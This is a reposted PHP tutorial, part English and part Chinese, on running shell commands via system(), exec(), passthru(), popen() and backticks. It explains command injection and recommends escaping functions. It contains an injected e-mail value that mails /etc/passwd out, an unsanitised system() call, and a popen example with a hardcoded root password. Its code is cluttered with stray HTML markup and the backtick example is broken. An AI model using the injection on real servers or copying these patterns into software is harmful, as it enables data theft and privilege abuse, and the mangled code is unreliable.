My note: You must pay attention to security issues when using them. I will list some later Related PHP code audit. The following is the reproduced content.
As a server-side scripting language, PHP is fully capable of tasks such as writing simple or complex dynamic web pages. But this is not always the case. Sometimes in order to implement a certain function, you must use an external program (or command) of the operating system, so that you can get twice the result with half the effort.
Difference:
system() outputs and returns the last line of shell results.
exec() does not output results and returns the last line of shell results. All results can be saved in a returned array.
passthru() only calls the command and outputs the result of the command directly to the standard output device as is.
Same point: you can get the status code of command execution
demo:
<span>//</span><span>system('dir'); </span><span>//</span><span> exec ('dir'); </span><span>//</span><span> passthru ('dir'); </span><span>//</span><span> echo `dir`; </span>
As a server-side scripting language, PHP is fully capable of tasks such as writing simple or complex dynamic web pages. But this is not always the case. Sometimes in order to implement a certain function, you must use an external program (or command) of the operating system, so that you can get twice the result with half the effort.
So, is it possible to call external commands in PHP scripts? If so, how to do it? What are your concerns? I believe that after reading this article, you will definitely be able to answer these questions.
Is it possible?
The answer is yes. PHP, like other programming languages, can call external commands within the program, and it is very simple: just use one or a few functions.
Prerequisites
Since PHP is basically used for WEB program development, security has become an important aspect that people consider. So PHP designers added a door to PHP: safe mode. If running in safe mode, the PHP script will be subject to the following four restrictions:
Execute external commands
There are some restrictions when opening files
Connect to MySQL database
HTTP-based authentication
In safe mode, only external programs in specific directories can be executed, and calls to other programs will be denied. This directory can be specified using the safe_mode_exec_dir directive in the php.ini file, or by adding the --with-exec-dir option when compiling PHP. The default is /usr/local/php/bin.
If you call an external command that should be able to output results (meaning that the PHP script has no errors), but you get a blank, then it is likely that your network administrator has run PHP in safe mode.
How to do it?
Calling external commands in PHP can be implemented in the following three methods:
1) Use the special functions provided by PHP
PHP provides a total of 3 special functions for executing external commands Functions: system(), exec(), passthru().
system()
Prototype: string system (string command [, int return_var])
The system() function is similar to that in other languages. It executes the given command, outputs and returns the result. The second parameter is optional and is used to get the status code after the command is executed.
Example:
<?<span>php system(</span><span>"</span><span>/usr/local/bin/webalizer/webalizer</span><span>"</span><span>); </span>?>
exec()
Prototype: string exec (string command [, string array [, int return_var]])
The exec () function is similar to system(), and also executes the given command, but does not output result, but returns the last row of the result. Although it only returns the last line of the command result, using the second parameter array can get the complete result by appending the results line by line to the end of the array. So if the array is not empty, it is best to use unset() to clear it before calling it. Only when the second parameter is specified, the third parameter can be used to obtain the status code of command execution.
Example:
<?<span>php exec(</span><span>"</span><span>/bin/ls -l</span><span>"</span><span>); exec(</span><span>"</span><span>/bin/ls -l</span><span>"</span><span>, $res); exec(</span><span>"</span><span>/bin/ls -l</span><span>"</span><span>, $res, $rc); </span>?>
passthru()
Prototype: void passthru (string command [, int return_var])
passthru () only calls the command and does not return any results, but outputs the running results of the command directly to the standard output as is on the device. Therefore, the passthru() function is often used to call programs like pbmplus (a tool for processing images under Unix that outputs a binary stream of original images). It can also get the status code of command execution.
Example:
<?<span>php header(</span><span>"</span><span>Content-type: image/gif</span><span>"</span><span>); passthru(</span><span>"</span><span>./ppmtogif hunte.ppm</span><span>"</span><span>); </span>?>
2) 用popen()函数打开进程
上面的方法只能简单地执行命令,却不能与命令交互。但有些时候必须向命令输入一些东西,如在增加Linux的系统用户时,要调用su来把当前用户换到root才行,而su命令必须要在命令行上输入root的密码。这种情况下,用上面提到的方法显然是不行的。
popen ()函数打开一个进程管道来执行给定的命令,返回一个文件句柄。既然返回的是一个文件句柄,那么就可以对它读和写了。在PHP3中,对这种句柄只能做单一 的操作模式,要么写,要么读;从PHP4开始,可以同时读和写了。除非这个句柄是以一种模式(读或写)打开的,否则必须调用pclose()函数来关闭 它。
例子1:
<?<span>php $fp</span>=popen(<span>"</span><span>/bin/ls -l</span><span>"</span>, <span>"</span><span>r</span><span>"</span><span>); </span>?>
例子2:
<?<span>php </span><span>/*</span><span> PHP中如何增加一个系统用户 下面是一段例程,增加一个名字为james的用户, root密码是 verygood。仅供参考 </span><span>*/</span><span> $sucommand </span>= <span>"</span><span>su --login root --command</span><span>"</span><span>; $useradd </span>= <span>"</span><span>useradd </span><span>"</span><span>; $rootpasswd </span>= <span>"</span><span>verygood</span><span>"</span><span>; $user </span>= <span>"</span><span>james</span><span>"</span><span>; $user_add </span>= sprintf(<span>"</span><span>%s </span><span>"</span>%s %s<span>""</span><span>,$sucommand,$useradd,$user); $fp </span>= @popen($user_add,<span>"</span><span>w</span><span>"</span><span>); @fputs($fp,$rootpasswd); @pclose($fp); </span>?>
3) 用反撇号(`,也就是键盘上ESC键下面的那个,和~在同一个上面)
这个方法以前没有归入PHP的文档,是作为一个秘技存在的。方法很简单,用两个反撇号把要执行的命令括起来作为一个表达式,这个表达式的值就是命令执行的结果。如:
<?<span>php $res</span>=<span>'</span><span>/bin/ls -l</span><span>'</span><span>; echo </span><span>'</span> <span> '</span><span>.$res.</span><span>'</span> <span>'</span><span>; </span> ?>
这个脚本的输出就象:
hunte.gif
hunte.ppm
jpg.htm
jpg.jpg
passthru.php
要考虑些什么?
要考虑两个问题:安全性和超时。
先 看安全性。比如,你有一家小型的网上商店,所以可以出售的产品列表放在一个文件中。你编写了一个有表单的HTML文件,让你的用户输入他们的EMAIL地 址,然后把这个产品列表发给他们。假设你没有使用PHP的mail()函数(或者从未听说过),你就调用Linux/Unix系统的mail程序来发送这 个文件。程序就象这样:
<?<span>php system(</span><span>"</span><span>mail $to < products.txt</span><span>"</span><span>); echo </span><span>"</span><span>我们的产品目录已经发送到你的信箱:$to</span><span>"</span><span>; </span>?>
用这段代码,一般的用户不会产生什么危险,但实际上存在着非常大的安全漏洞。如果有个恶意的用户输入了这样一个EMAIL地址:
'--bla ; mail someone@domain.com < /etc/passwd ;'
那么这条命令最终变成:
'mail --bla ; mail someone@domain.com < /etc/passwd ; < products.txt'
我相信,无论哪个网络管理人员见到这样的命令,都会吓出一身冷汗来。
幸 好,PHP为我们提供了两个函数:EscapeShellCmd()和EscapeShellArg()。函数EscapeShellCmd把一个字符串 中所有可能瞒过Shell而去执行另外一个命令的字符转义。这些字符在Shell中是有特殊含义的,象分号(),重定向(>)和从文件读入 (<)等。函数EscapeShellArg是用来处理命令的参数的。它在给定的字符串两边加上单引号,并把字符串中的单引号转义,这样这个字符串 就可以安全地作为命令的参数。
再来看看超时问题。如果要执行的命令要花费很长的时间,那么应该把这个命令放到系统的后台去运 行。但在默认情况下,象system()等函数要等到这个命令运行完才返回(实际上是要等命令的输出结果),这肯定会引起PHP脚本的超时。解决的办法是 把命令的输出重定向到另外一个文件或流中,如:
<?<span>php system(</span><span>"</span><span>/usr/local/bin/order_proc > /tmp/null &</span><span>"</span><span>); </span>?>